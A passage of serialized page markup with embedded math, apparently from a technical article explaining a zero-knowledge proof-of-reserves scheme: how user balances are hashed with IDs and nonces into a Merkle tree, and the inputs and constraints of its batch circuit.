way:",{"type":23,"tag":24,"props":90845,"children":90846},{},[90847],{"type":23,"tag":135,"props":90848,"children":90850},{"className":90849},[1981,1982],[90851],{"type":23,"tag":139,"props":90852,"children":90854},{"className":90853},[1987],[90855],{"type":23,"tag":139,"props":90856,"children":90858},{"className":90857,"ariaHidden":1993},[1992],[90859,90886],{"type":23,"tag":139,"props":90860,"children":90862},{"className":90861},[1998],[90863,90868,90873,90877,90882],{"type":23,"tag":139,"props":90864,"children":90867},{"className":90865,"style":90866},[2003],"height:0.6944em;",[],{"type":23,"tag":139,"props":90869,"children":90871},{"className":90870},[2009,19596],[90872],{"type":28,"value":82249},{"type":23,"tag":139,"props":90874,"children":90876},{"className":90875,"style":2187},[2089],[],{"type":23,"tag":139,"props":90878,"children":90880},{"className":90879},[2192],[90881],{"type":28,"value":1067},{"type":23,"tag":139,"props":90883,"children":90885},{"className":90884,"style":2187},[2089],[],{"type":23,"tag":139,"props":90887,"children":90889},{"className":90888},[1998],[90890,90895,90900,90906,90911,90916,90922,90927,90932,90937,90943,90948,90954,90960,90967,90973,90979,91039,91044,91050,91055,91060,91065,91070,91075,91080,91085,91090,91095,91152,91157,91162,91167,91172,91177,91182,91189,91194,91200,91205,91211,91217,91222,91227,91232,91237,91242,91247,91252,91257,91262,91267,91272,91277,91282,91287],{"type":23,"tag":139,"props":90891,"children":90894},{"className":90892,"style":90893},[2003],"height:1.06em;vertical-align:-0.31em;",[],{"type":23,"tag":139,"props":90896,"children":90898},{"className":90897,"style":19597},[2009,19596],[90899],{"type":28,"value":19600},{"type":23,"tag":139,"props":90901,"children":90903},{"className":90902},[2009,19596],[90904],{"type":28,"value":90905},"ose",{"type":23,"tag":139,"props":90907,"children":90909},{"className":90908},[2009,19596],[90910],{"type":28,"value":1728},{"type":23,"tag":139,"props":90912,"children":90914},{"className":90913},[2009,19596],[90915],{"type":28,"value":68466},{"type":23,"tag":139,"props":90917,"children":90919},{"className":90918},[2009,19596],[90920],{"type":28,"value":90921},"o",{"type":23,"tag":139,"props":90923,"children":90925},{"className":90924},[2009,19596],[90926],{"type":28,"value":54302},{"type":23,"tag":139,"props":90928,"children":90930},{"className":90929},[19725],[90931],{"type":28,"value":262},{"type":23,"tag":139,"props":90933,"children":90935},{"className":90934},[2009,19596],[90936],{"type":28,"value":64},{"type":23,"tag":139,"props":90938,"children":90940},{"className":90939},[2009,19596],[90941],{"type":28,"value":90942},"sse",{"type":23,"tag":139,"props":90944,"children":90946},{"className":90945},[2009,19596],[90947],{"type":28,"value":19738},{"type":23,"tag":139,"props":90949,"children":90952},{"className":90950,"style":90951},[2009],"margin-right:0.02778em;",[90953],{"type":28,"value":1057},{"type":23,"tag":139,"props":90955,"children":90957},{"className":90956},[2009,19596],[90958],{"type":28,"value":90959},"ba",{"type":23,"tag":139,"props":90961,"children":90964},{"className":90962,"style":90963},[2009,19596],"margin-right:0.01968em;",[90965],{"type":28,"value":90966},"l",{"type":23,"tag":139,"props":90968,"children":90970},{"className":90969},[2009,19596],[90971],{"type":28,"value":90972},"an",{"type":23,"tag":139,"props":90974,"children":90976},{"className":90975},[2009,19596],[90977],{"type":28,"value":90978},"ce",{"type":23,"tag":139,"props":90980,"children":90982},{"className":90981},[2009],[90983,90988],{"type":23,"tag":139,"props":90984,"children":90986},{"className":90985},[2009,19596],[90987],{"type":28,"value":8661},{"type":23,"tag":139,"props":90989,"children":90991},{"className":90990},[2025],[90992],{"type":23,"tag":139,"props":90993,"children":90995},{"className":90994},[2030,19650],[90996,91027],{"type":23,"tag":139,"props":90997,"children":90999},{"className":90998},[2035],[91000,91022],{"type":23,"tag":139,"props":91001,"children":91004},{"className":91002,"style":91003},[2040],"height:0.3011em;",[91005],{"type":23,"tag":139,"props":91006,"children":91008},{"style":91007},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[91009,91013],{"type":23,"tag":139,"props":91010,"children":91012},{"className":91011,"style":2050},[2049],[],{"type":23,"tag":139,"props":91014,"children":91016},{"className":91015},[2055,2056,2057,2058],[91017],{"type":23,"tag":139,"props":91018,"children":91020},{"className":91019},[2009,2058],[91021],{"type":28,"value":2021},{"type":23,"tag":139,"props":91023,"children":91025},{"className":91024},[19753],[91026],{"type":28,"value":19756},{"type":23,"tag":139,"props":91028,"children":91030},{"className":91029},[2035],[91031],{"type":23,"tag":139,"props":91032,"children":91035},{"className":91033,"style":91034},[2040],"height:0.15em;",[91036],{"type":23,"tag":139,"props":91037,"children":91038},{},[],{"type":23,"tag":139,"props":91040,"children":91042},{"className":91041},[2089],[91043],{"type":28,"value":19697},{"type":23,"tag":139,"props":91045,"children":91047},{"className":91046},[2009],[91048],{"type":28,"value":91049},"∣∣",{"type":23,"tag":139,"props":91051,"children":91053},{"className":91052},[2089],[91054],{"type":28,"value":19697},{"type":23,"tag":139,"props":91056,"children":91058},{"className":91057},[2009,19596],[91059],{"type":28,"value":64},{"type":23,"tag":139,"props":91061,"children":91063},{"className":91062},[2009,19596],[91064],{"type":28,"value":90942},{"type":23,"tag":139,"props":91066,"children":91068},{"className":91067},[2009,19596],[91069],{"type":28,"value":19738},{"type":23,"tag":139,"props":91071,"children":91073},{"className":91072,"style":90951},[2009],[91074],{"type":28,"value":1057},{"type":23,"tag":139,"props":91076,"children":91078},{"className":91077},[2009,19596],[91079],{"type":28,"value":90959},{"type":23,"tag":139,"props":91081,"children":91083},{"className":91082,"style":90963},[2009,19596],[91084],{"type":28,"value":90966},{"type":23,"tag":139,"props":91086,"children":91088},{"className":91087},[2009,19596],[91089],{"type":28,"value":90972},{"type":23,"tag":139,"props":91091,"children":91093},{"className":91092},[2009,19596],[91094],{"type":28,"value":90978},{"type":23,"tag":139,"props":91096,"children":91098},{"className":91097},[2009],[91099,91104],{"type":23,"tag":139,"props":91100,"children":91102},{"className":91101},[2009,19596],[91103],{"type":28,"value":8661},{"type":23,"tag":139,"props":91105,"children":91107},{"className":91106},[2025],[91108],{"type":23,"tag":139,"props":91109,"children":91111},{"className":91110},[2030,19650],[91112,91141],{"type":23,"tag":139,"props":91113,"children":91115},{"className":91114},[2035],[91116,91136],{"type":23,"tag":139,"props":91117,"children":91119},{"className":91118,"style":91003},[2040],[91120],{"type":23,"tag":139,"props":91121,"children":91122},{"style":91007},[91123,91127],{"type":23,"tag":139,"props":91124,"children":91126},{"className":91125,"style":2050},[2049],[],{"type":23,"tag":139,"props":91128,"children":91130},{"className":91129},[2055,2056,2057,2058],[91131],{"type":23,"tag":139,"props":91132,"children":91134},{"className":91133},[2009,2058],[91135],{"type":28,"value":647},{"type":23,"tag":139,"props":91137,"children":91139},{"className":91138},[19753],[91140],{"type":28,"value":19756},{"type":23,"tag":139,"props":91142,"children":91144},{"className":91143},[2035],[91145],{"type":23,"tag":139,"props":91146,"children":91148},{"className":91147,"style":91034},[2040],[91149],{"type":23,"tag":139,"props":91150,"children":91151},{},[],{"type":23,"tag":139,"props":91153,"children":91155},{"className":91154},[2089],[91156],{"type":28,"value":19697},{"type":23,"tag":139,"props":91158,"children":91160},{"className":91159},[2009],[91161],{"type":28,"value":7599},{"type":23,"tag":139,"props":91163,"children":91165},{"className":91164},[2089],[91166],{"type":28,"value":19697},{"type":23,"tag":139,"props":91168,"children":91170},{"className":91169},[2009],[91171],{"type":28,"value":91049},{"type":23,"tag":139,"props":91173,"children":91175},{"className":91174},[2089],[91176],{"type":28,"value":19697},{"type":23,"tag":139,"props":91178,"children":91180},{"className":91179,"style":20055},[2009,19596],[91181],{"type":28,"value":20058},{"type":23,"tag":139,"props":91183,"children":91186},{"className":91184,"style":91185},[2009,19596],"margin-right:0.08125em;",[91187],{"type":28,"value":91188},"H",{"type":23,"tag":139,"props":91190,"children":91192},{"className":91191},[2009,19596],[91193],{"type":28,"value":74671},{"type":23,"tag":139,"props":91195,"children":91197},{"className":91196},[2009],[91198],{"type":28,"value":91199},"256",{"type":23,"tag":139,"props":91201,"children":91203},{"className":91202},[19725],[91204],{"type":28,"value":262},{"type":23,"tag":139,"props":91206,"children":91208},{"className":91207},[2009,19596],[91209],{"type":28,"value":91210},"u",{"type":23,"tag":139,"props":91212,"children":91214},{"className":91213,"style":90951},[2009,19596],[91215],{"type":28,"value":91216},"ser",{"type":23,"tag":139,"props":91218,"children":91220},{"className":91219,"style":90951},[2009],[91221],{"type":28,"value":1057},{"type":23,"tag":139,"props":91223,"children":91225},{"className":91224},[2009,19596],[91226],{"type":28,"value":1728},{"type":23,"tag":139,"props":91228,"children":91230},{"className":91229},[2009,19596],[91231],{"type":28,"value":68466},{"type":23,"tag":139,"props":91233,"children":91235},{"className":91234},[19747],[91236],{"type":28,"value":1104},{"type":23,"tag":139,"props":91238,"children":91240},{"className":91239},[2089],[91241],{"type":28,"value":19697},{"type":23,"tag":139,"props":91243,"children":91245},{"className":91244},[2009],[91246],{"type":28,"value":91049},{"type":23,"tag":139,"props":91248,"children":91250},{"className":91249},[2089],[91251],{"type":28,"value":19697},{"type":23,"tag":139,"props":91253,"children":91255},{"className":91254},[2009,19596],[91256],{"type":28,"value":91210},{"type":23,"tag":139,"props":91258,"children":91260},{"className":91259,"style":90951},[2009,19596],[91261],{"type":28,"value":91216},{"type":23,"tag":139,"props":91263,"children":91265},{"className":91264,"style":90951},[2009],[91266],{"type":28,"value":1057},{"type":23,"tag":139,"props":91268,"children":91270},{"className":91269},[2009,19596],[91271],{"type":28,"value":54302},{"type":23,"tag":139,"props":91273,"children":91275},{"className":91274},[2009,19596],[91276],{"type":28,"value":90921},{"type":23,"tag":139,"props":91278,"children":91280},{"className":91279},[2009,19596],[91281],{"type":28,"value":54302},{"type":23,"tag":139,"props":91283,"children":91285},{"className":91284},[2009,19596],[91286],{"type":28,"value":90978},{"type":23,"tag":139,"props":91288,"children":91290},{"className":91289},[19747],[91291],{"type":28,"value":1104},{"type":23,"tag":24,"props":91293,"children":91294},{},[91295,91297,91303],{"type":28,"value":91296},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":23,"tag":135,"props":91298,"children":91300},{"className":91299},[],[91301],{"type":28,"value":91302},"uuid",{"type":28,"value":91304},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":23,"tag":666,"props":91306,"children":91308},{"id":91307},"batch-circuit",[91309],{"type":28,"value":91310},"Batch Circuit",{"type":23,"tag":24,"props":91312,"children":91313},{},[91314],{"type":28,"value":91315},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":23,"tag":24,"props":91317,"children":91318},{},[91319],{"type":23,"tag":56,"props":91320,"children":91321},{},[91322],{"type":28,"value":91323},"Public Inputs",{"type":23,"tag":14699,"props":91325,"children":91326},{},[91327,91332,91337],{"type":23,"tag":801,"props":91328,"children":91329},{},[91330],{"type":28,"value":91331},"Asset prices in USD",{"type":23,"tag":801,"props":91333,"children":91334},{},[91335],{"type":28,"value":91336},"Merkle tree hash",{"type":23,"tag":801,"props":91338,"children":91339},{},[91340],{"type":28,"value":91341},"Summed asset balances",{"type":23,"tag":24,"props":91343,"children":91344},{},[91345],{"type":23,"tag":56,"props":91346,"children":91347},{},[91348],{"type":28,"value":91349},"Private Inputs",{"type":23,"tag":14699,"props":91351,"children":91352},{},[91353,91358],{"type":23,"tag":801,"props":91354,"children":91355},{},[91356],{"type":28,"value":91357},"Users balances",{"type":23,"tag":801,"props":91359,"children":91360},{},[91361],{"type":28,"value":91362},"Merkle tree leaves hashes",{"type":23,"tag":24,"props":91364,"children":91365},{},[91366],{"type":23,"tag":56,"props":91367,"children":91368},{},[91369],{"type":28,"value":91370},"Constraints",{"type":23,"tag":14699,"props":91372,"children":91373},{},[91374,91827,91995,92342,92740],{"type":23,"tag":801,"props":91375,"children":91376},{},[91377],{"type":23,"tag":135,"props":91378,"children":91380},{"className":91379},[1981,1982],[91381],{"type":23,"tag":139,"props":91382,"children":91384},{"className":91383},[1987],[91385],{"type":23,"tag":139,"props":91386,"children":91388},{"className":91387,"ariaHidden":1993},[1992],[91389,91528,91732],{"type":23,"tag":139,"props":91390,"children":91392},{"className":91391},[1998],[91393,91398,91403,91409,91414,91419,91424,91429,91434,91441,91446,91451,91456,91515,91519,91524],{"type":23,"tag":139,"props":91394,"children":91397},{"className":91395,"style":91396},[2003],"height:0.9695em;vertical-align:-0.31em;",[],{"type":23,"tag":139,"props":91399,"children":91401},{"className":91400},[2009,19596],[91402],{"type":28,"value":64},{"type":23,"tag":139,"props":91404,"children":91406},{"className":91405},[2009,19596],[91407],{"type":28,"value":91408},"cco",{"type":23,"tag":139,"props":91410,"children":91412},{"className":91411},[2009,19596],[91413],{"type":28,"value":91210},{"type":23,"tag":139,"props":91415,"children":91417},{"className":91416},[2009,19596],[91418],{"type":28,"value":54302},{"type":23,"tag":139,"props":91420,"children":91422},{"className":91421},[2009,19596],[91423],{"type":28,"value":19738},{"type":23,"tag":139,"props":91425,"children":91427},{"className":91426,"style":90951},[2009],[91428],{"type":28,"value":1057},{"type":23,"tag":139,"props":91430,"children":91432},{"className":91431},[2009,19596],[91433],{"type":28,"value":49352},{"type":23,"tag":139,"props":91435,"children":91438},{"className":91436,"style":91437},[2009,19596],"margin-right:0.03588em;",[91439],{"type":28,"value":91440},"q",{"type":23,"tag":139,"props":91442,"children":91444},{"className":91443},[2009,19596],[91445],{"type":28,"value":91210},{"type":23,"tag":139,"props":91447,"children":91449},{"className":91448},[2009,19596],[91450],{"type":28,"value":1728},{"type":23,"tag":139,"props":91452,"children":91454},{"className":91453},[2009,19596],[91455],{"type":28,"value":19738},{"type":23,"tag":139,"props":91457,"children":91459},{"className":91458},[2009],[91460,91465],{"type":23,"tag":139,"props":91461,"children":91463},{"className":91462,"style":91437},[2009,19596],[91464],{"type":28,"value":1090},{"type":23,"tag":139,"props":91466,"children":91468},{"className":91467},[2025],[91469],{"type":23,"tag":139,"props":91470,"children":91472},{"className":91471},[2030,19650],[91473,91504],{"type":23,"tag":139,"props":91474,"children":91476},{"className":91475},[2035],[91477,91499],{"type":23,"tag":139,"props":91478,"children":91481},{"className":91479,"style":91480},[2040],"height:0.3117em;",[91482],{"type":23,"tag":139,"props":91483,"children":91485},{"style":91484},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[91486,91490],{"type":23,"tag":139,"props":91487,"children":91489},{"className":91488,"style":2050},[2049],[],{"type":23,"tag":139,"props":91491,"children":91493},{"className":91492},[2055,2056,2057,2058],[91494],{"type":23,"tag":139,"props":91495,"children":91497},{"className":91496},[2009,19596,2058],[91498],{"type":28,"value":1728},{"type":23,"tag":139,"props":91500,"children":91502},{"className":91501},[19753],[91503],{"type":28,"value":19756},{"type":23,"tag":139,"props":91505,"children":91507},{"className":91506},[2035],[91508],{"type":23,"tag":139,"props":91509,"children":91511},{"className":91510,"style":91034},[2040],[91512],{"type":23,"tag":139,"props":91513,"children":91514},{},[],{"type":23,"tag":139,"props":91516,"children":91518},{"className":91517,"style":2187},[2089],[],{"type":23,"tag":139,"props":91520,"children":91522},{"className":91521},[2192],[91523],{"type":28,"value":6580},{"type":23,"tag":139,"props":91525,"children":91527},{"className":91526,"style":2187},[2089],[],{"type":23,"tag":139,"props":91529,"children":91531},{"className":91530},[1998],[91532,91536,91542,91547,91552,91557,91562,91567,91572,91577,91582,91587,91592,91597,91602,91607,91612,91617,91674,91679,91684,91689,91694,91699,91704,91709,91714,91719,91723,91728],{"type":23,"tag":139,"props":91533,"children":91535},{"className":91534,"style":90893},[2003],[],{"type":23,"tag":139,"props":91537,"children":91539},{"className":91538},[2009],[91540],{"type":28,"value":91541},"Σ",{"type":23,"tag":139,"props":91543,"children":91545},{"className":91544},[2089],[91546],{"type":28,"value":19697},{"type":23,"tag":139,"props":91548,"children":91550},{"className":91549},[2009,19596],[91551],{"type":28,"value":64},{"type":23,"tag":139,"props":91553,"children":91555},{"className":91554},[2009,19596],[91556],{"type":28,"value":91408},{"type":23,"tag":139,"props":91558,"children":91560},{"className":91559},[2009,19596],[91561],{"type":28,"value":91210},{"type":23,"tag":139,"props":91563,"children":91565},{"className":91564},[2009,19596],[91566],{"type":28,"value":54302},{"type":23,"tag":139,"props":91568,"children":91570},{"className":91569},[2009,19596],[91571],{"type":28,"value":19738},{"type":23,"tag":139,"props":91573,"children":91575},{"className":91574,"style":90951},[2009],[91576],{"type":28,"value":1057},{"type":23,"tag":139,"props":91578,"children":91580},{"className":91579},[2009,19596],[91581],{"type":28,"value":64},{"type":23,"tag":139,"props":91583,"children":91585},{"className":91584},[2009,19596],[91586],{"type":28,"value":90942},{"type":23,"tag":139,"props":91588,"children":91590},{"className":91589},[2009,19596],[91591],{"type":28,"value":19738},{"type":23,"tag":139,"props":91593,"children":91595},{"className":91594,"style":90951},[2009],[91596],{"type":28,"value":1057},{"type":23,"tag":139,"props":91598,"children":91600},{"className":91599},[2009,19596],[91601],{"type":28,"value":90959},{"type":23,"tag":139,"props":91603,"children":91605},{"className":91604,"style":90963},[2009,19596],[91606],{"type":28,"value":90966},{"type":23,"tag":139,"props":91608,"children":91610},{"className":91609},[2009,19596],[91611],{"type":28,"value":90972},{"type":23,"tag":139,"props":91613,"children":91615},{"className":91614},[2009,19596],[91616],{"type":28,"value":90978},{"type":23,"tag":139,"props":91618,"children":91620},{"className":91619},[2009],[91621,91626],{"type":23,"tag":139,"props":91622,"children":91624},{"className":91623},[2009,19596],[91625],{"type":28,"value":8661},{"type":23,"tag":139,"props":91627,"children":91629},{"className":91628},[2025],[91630],{"type":23,"tag":139,"props":91631,"children":91633},{"className":91632},[2030,19650],[91634,91663],{"type":23,"tag":139,"props":91635,"children":91637},{"className":91636},[2035],[91638,91658],{"type":23,"tag":139,"props":91639,"children":91641},{"className":91640,"style":91480},[2040],[91642],{"type":23,"tag":139,"props":91643,"children":91644},{"style":91007},[91645,91649],{"type":23,"tag":139,"props":91646,"children":91648},{"className":91647,"style":2050},[2049],[],{"type":23,"tag":139,"props":91650,"children":91652},{"className":91651},[2055,2056,2057,2058],[91653],{"type":23,"tag":139,"props":91654,"children":91656},{"className":91655},[2009,19596,2058],[91657],{"type":28,"value":1728},{"type":23,"tag":139,"props":91659,"children":91661},{"className":91660},[19753],[91662],{"type":28,"value":19756},{"type":23,"tag":139,"props":91664,"children":91666},{"className":91665},[2035],[91667],{"type":23,"tag":139,"props":91668,"children":91670},{"className":91669,"style":91034},[2040],[91671],{"type":23,"tag":139,"props":91672,"children":91673},{},[],{"type":23,"tag":139,"props":91675,"children":91677},{"className":91676},[19725],[91678],{"type":28,"value":1723},{"type":23,"tag":139,"props":91680,"children":91682},{"className":91681},[2009,19596],[91683],{"type":28,"value":64},{"type":23,"tag":139,"props":91685,"children":91687},{"className":91686},[2009,19596],[91688],{"type":28,"value":90942},{"type":23,"tag":139,"props":91690,"children":91692},{"className":91691},[2009,19596],[91693],{"type":28,"value":19738},{"type":23,"tag":139,"props":91695,"children":91697},{"className":91696,"style":90951},[2009],[91698],{"type":28,"value":1057},{"type":23,"tag":139,"props":91700,"children":91702},{"className":91701},[2009,19596],[91703],{"type":28,"value":54302},{"type":23,"tag":139,"props":91705,"children":91707},{"className":91706},[2009,19596],[91708],{"type":28,"value":91210},{"type":23,"tag":139,"props":91710,"children":91712},{"className":91711},[2009,19596],[91713],{"type":28,"value":49031},{"type":23,"tag":139,"props":91715,"children":91717},{"className":91716},[19747],[91718],{"type":28,"value":13423},{"type":23,"tag":139,"props":91720,"children":91722},{"className":91721,"style":2090},[2089],[],{"type":23,"tag":139,"props":91724,"children":91726},{"className":91725},[2095],[91727],{"type":28,"value":2098},{"type":23,"tag":139,"props":91729,"children":91731},{"className":91730,"style":2090},[2089],[],{"type":23,"tag":139,"props":91733,"children":91735},{"className":91734},[1998],[91736,91740,91745,91750,91755,91760,91765,91771,91776,91782,91787,91792,91797,91802,91807,91812,91817,91822],{"type":23,"tag":139,"props":91737,"children":91739},{"className":91738,"style":90893},[2003],[],{"type":23,"tag":139,"props":91741,"children":91743},{"className":91742},[2009,19596],[91744],{"type":28,"value":64},{"type":23,"tag":139,"props":91746,"children":91748},{"className":91747},[2009,19596],[91749],{"type":28,"value":90942},{"type":23,"tag":139,"props":91751,"children":91753},{"className":91752},[2009,19596],[91754],{"type":28,"value":19738},{"type":23,"tag":139,"props":91756,"children":91758},{"className":91757,"style":90951},[2009],[91759],{"type":28,"value":1057},{"type":23,"tag":139,"props":91761,"children":91763},{"className":91762},[2009,19596],[91764],{"type":28,"value":24},{"type":23,"tag":139,"props":91766,"children":91768},{"className":91767,"style":90951},[2009,19596],[91769],{"type":28,"value":91770},"r",{"type":23,"tag":139,"props":91772,"children":91774},{"className":91773},[2009,19596],[91775],{"type":28,"value":1728},{"type":23,"tag":139,"props":91777,"children":91779},{"className":91778},[2009,19596],[91780],{"type":28,"value":91781},"ces",{"type":23,"tag":139,"props":91783,"children":91785},{"className":91784},[19725],[91786],{"type":28,"value":1723},{"type":23,"tag":139,"props":91788,"children":91790},{"className":91789},[2009,19596],[91791],{"type":28,"value":64},{"type":23,"tag":139,"props":91793,"children":91795},{"className":91794},[2009,19596],[91796],{"type":28,"value":90942},{"type":23,"tag":139,"props":91798,"children":91800},{"className":91799},[2009,19596],[91801],{"type":28,"value":19738},{"type":23,"tag":139,"props":91803,"children":91805},{"className":91804,"style":90951},[2009],[91806],{"type":28,"value":1057},{"type":23,"tag":139,"props":91808,"children":91810},{"className":91809},[2009,19596],[91811],{"type":28,"value":54302},{"type":23,"tag":139,"props":91813,"children":91815},{"className":91814},[2009,19596],[91816],{"type":28,"value":91210},{"type":23,"tag":139,"props":91818,"children":91820},{"className":91819},[2009,19596],[91821],{"type":28,"value":49031},{"type":23,"tag":139,"props":91823,"children":91825},{"className":91824},[19747],[91826],{"type":28,"value":13423},{"type":23,"tag":801,"props":91828,"children":91829},{},[91830,91989,91990],{"type":23,"tag":135,"props":91831,"children":91833},{"className":91832},[1981,1982],[91834],{"type":23,"tag":139,"props":91835,"children":91837},{"className":91836},[1987],[91838],{"type":23,"tag":139,"props":91839,"children":91841},{"className":91840,"ariaHidden":1993},[1992],[91842,91975],{"type":23,"tag":139,"props":91843,"children":91845},{"className":91844},[1998],[91846,91850,91855,91860,91865,91870,91875,91880,91885,91890,91895,91900,91905,91962,91966,91971],{"type":23,"tag":139,"props":91847,"children":91849},{"className":91848,"style":91396},[2003],[],{"type":23,"tag":139,"props":91851,"children":91853},{"className":91852},[2009,19596],[91854],{"type":28,"value":64},{"type":23,"tag":139,"props":91856,"children":91858},{"className":91857},[2009,19596],[91859],{"type":28,"value":91408},{"type":23,"tag":139,"props":91861,"children":91863},{"className":91862},[2009,19596],[91864],{"type":28,"value":91210},{"type":23,"tag":139,"props":91866,"children":91868},{"className":91867},[2009,19596],[91869],{"type":28,"value":54302},{"type":23,"tag":139,"props":91871,"children":91873},{"className":91872},[2009,19596],[91874],{"type":28,"value":19738},{"type":23,"tag":139,"props":91876,"children":91878},{"className":91877,"style":90951},[2009],[91879],{"type":28,"value":1057},{"type":23,"tag":139,"props":91881,"children":91883},{"className":91882},[2009,19596],[91884],{"type":28,"value":49352},{"type":23,"tag":139,"props":91886,"children":91888},{"className":91887,"style":91437},[2009,19596],[91889],{"type":28,"value":91440},{"type":23,"tag":139,"props":91891,"children":91893},{"className":91892},[2009,19596],[91894],{"type":28,"value":91210},{"type":23,"tag":139,"props":91896,"children":91898},{"className":91897},[2009,19596],[91899],{"type":28,"value":1728},{"type":23,"tag":139,"props":91901,"children":91903},{"className":91902},[2009,19596],[91904],{"type":28,"value":19738},{"type":23,"tag":139,"props":91906,"children":91908},{"className":91907},[2009],[91909,91914],{"type":23,"tag":139,"props":91910,"children":91912},{"className":91911,"style":91437},[2009,19596],[91913],{"type":28,"value":1090},{"type":23,"tag":139,"props":91915,"children":91917},{"className":91916},[2025],[91918],{"type":23,"tag":139,"props":91919,"children":91921},{"className":91920},[2030,19650],[91922,91951],{"type":23,"tag":139,"props":91923,"children":91925},{"className":91924},[2035],[91926,91946],{"type":23,"tag":139,"props":91927,"children":91929},{"className":91928,"style":91480},[2040],[91930],{"type":23,"tag":139,"props":91931,"children":91932},{"style":91484},[91933,91937],{"type":23,"tag":139,"props":91934,"children":91936},{"className":91935,"style":2050},[2049],[],{"type":23,"tag":139,"props":91938,"children":91940},{"className":91939},[2055,2056,2057,2058],[91941],{"type":23,"tag":139,"props":91942,"children":91944},{"className":91943},[2009,19596,2058],[91945],{"type":28,"value":1728},{"type":23,"tag":139,"props":91947,"children":91949},{"className":91948},[19753],[91950],{"type":28,"value":19756},{"type":23,"tag":139,"props":91952,"children":91954},{"className":91953},[2035],[91955],{"type":23,"tag":139,"props":91956,"children":91958},{"className":91957,"style":91034},[2040],[91959],{"type":23,"tag":139,"props":91960,"children":91961},{},[],{"type":23,"tag":139,"props":91963,"children":91965},{"className":91964,"style":2187},[2089],[],{"type":23,"tag":139,"props":91967,"children":91969},{"className":91968},[2192],[91970],{"type":28,"value":7952},{"type":23,"tag":139,"props":91972,"children":91974},{"className":91973,"style":2187},[2089],[],{"type":23,"tag":139,"props":91976,"children":91978},{"className":91977},[1998],[91979,91984],{"type":23,"tag":139,"props":91980,"children":91983},{"className":91981,"style":91982},[2003],"height:0.6444em;",[],{"type":23,"tag":139,"props":91985,"children":91987},{"className":91986},[2009],[91988],{"type":28,"value":2021},{"type":28,"value":471},{"type":23,"tag":56,"props":91991,"children":91992},{},[91993],{"type":28,"value":91994},"(non-negativity)",{"type":23,"tag":801,"props":91996,"children":91997},{},[91998,92336,92337],{"type":23,"tag":135,"props":91999,"children":92001},{"className":92000},[1981,1982],[92002],{"type":23,"tag":139,"props":92003,"children":92005},{"className":92004},[1987],[92006],{"type":23,"tag":139,"props":92007,"children":92009},{"className":92008,"ariaHidden":1993},[1992],[92010,92146],{"type":23,"tag":139,"props":92011,"children":92013},{"className":92012},[1998],[92014,92018,92023,92028,92033,92038,92043,92048,92053,92058,92063,92068,92073,92078,92083,92088,92093,92098,92103,92108,92113,92118,92123,92128,92133,92137,92142],{"type":23,"tag":139,"props":92015,"children":92017},{"className":92016,"style":90893},[2003],[],{"type":23,"tag":139,"props":92019,"children":92021},{"className":92020},[2009,19596],[92022],{"type":28,"value":19738},{"type":23,"tag":139,"props":92024,"children":92026},{"className":92025},[2009,19596],[92027],{"type":28,"value":90921},{"type":23,"tag":139,"props":92029,"children":92031},{"className":92030},[2009,19596],[92032],{"type":28,"value":19738},{"type":23,"tag":139,"props":92034,"children":92036},{"className":92035},[2009,19596],[92037],{"type":28,"value":64},{"type":23,"tag":139,"props":92039,"children":92041},{"className":92040,"style":90963},[2009,19596],[92042],{"type":28,"value":90966},{"type":23,"tag":139,"props":92044,"children":92046},{"className":92045,"style":90951},[2009],[92047],{"type":28,"value":1057},{"type":23,"tag":139,"props":92049,"children":92051},{"className":92050},[2009,19596],[92052],{"type":28,"value":64},{"type":23,"tag":139,"props":92054,"children":92056},{"className":92055},[2009,19596],[92057],{"type":28,"value":90942},{"type":23,"tag":139,"props":92059,"children":92061},{"className":92060},[2009,19596],[92062],{"type":28,"value":19738},{"type":23,"tag":139,"props":92064,"children":92066},{"className":92065,"style":90951},[2009],[92067],{"type":28,"value":1057},{"type":23,"tag":139,"props":92069,"children":92071},{"className":92070},[2009,19596],[92072],{"type":28,"value":90959},{"type":23,"tag":139,"props":92074,"children":92076},{"className":92075,"style":90963},[2009,19596],[92077],{"type":28,"value":90966},{"type":23,"tag":139,"props":92079,"children":92081},{"className":92080},[2009,19596],[92082],{"type":28,"value":90972},{"type":23,"tag":139,"props":92084,"children":92086},{"className":92085},[2009,19596],[92087],{"type":28,"value":90978},{"type":23,"tag":139,"props":92089,"children":92091},{"className":92090},[19725],[92092],{"type":28,"value":1723},{"type":23,"tag":139,"props":92094,"children":92096},{"className":92095},[2009,19596],[92097],{"type":28,"value":64},{"type":23,"tag":139,"props":92099,"children":92101},{"className":92100},[2009,19596],[92102],{"type":28,"value":90942},{"type":23,"tag":139,"props":92104,"children":92106},{"className":92105},[2009,19596],[92107],{"type":28,"value":19738},{"type":23,"tag":139,"props":92109,"children":92111},{"className":92110,"style":90951},[2009],[92112],{"type":28,"value":1057},{"type":23,"tag":139,"props":92114,"children":92116},{"className":92115},[2009,19596],[92117],{"type":28,"value":54302},{"type":23,"tag":139,"props":92119,"children":92121},{"className":92120},[2009,19596],[92122],{"type":28,"value":91210},{"type":23,"tag":139,"props":92124,"children":92126},{"className":92125},[2009,19596],[92127],{"type":28,"value":49031},{"type":23,"tag":139,"props":92129,"children":92131},{"className":92130},[19747],[92132],{"type":28,"value":13423},{"type":23,"tag":139,"props":92134,"children":92136},{"className":92135,"style":2187},[2089],[],{"type":23,"tag":139,"props":92138,"children":92140},{"className":92139},[2192],[92141],{"type":28,"value":6580},{"type":23,"tag":139,"props":92143,"children":92145},{"className":92144,"style":2187},[2089],[],{"type":23,"tag":139,"props":92147,"children":92149},{"className":92148},[1998],[92150,92154,92159,92164,92169,92174,92179,92184,92189,92194,92199,92204,92209,92214,92219,92224,92229,92234,92291,92296,92301,92306,92311,92316,92321,92326,92331],{"type":23,"tag":139,"props":92151,"children":92153},{"className":92152,"style":90893},[2003],[],{"type":23,"tag":139,"props":92155,"children":92157},{"className":92156},[2009],[92158],{"type":28,"value":91541},{"type":23,"tag":139,"props":92160,"children":92162},{"className":92161},[2089],[92163],{"type":28,"value":19697},{"type":23,"tag":139,"props":92165,"children":92167},{"className":92166},[2009,19596],[92168],{"type":28,"value":64},{"type":23,"tag":139,"props":92170,"children":92172},{"className":92171},[2009,19596],[92173],{"type":28,"value":91408},{"type":23,"tag":139,"props":921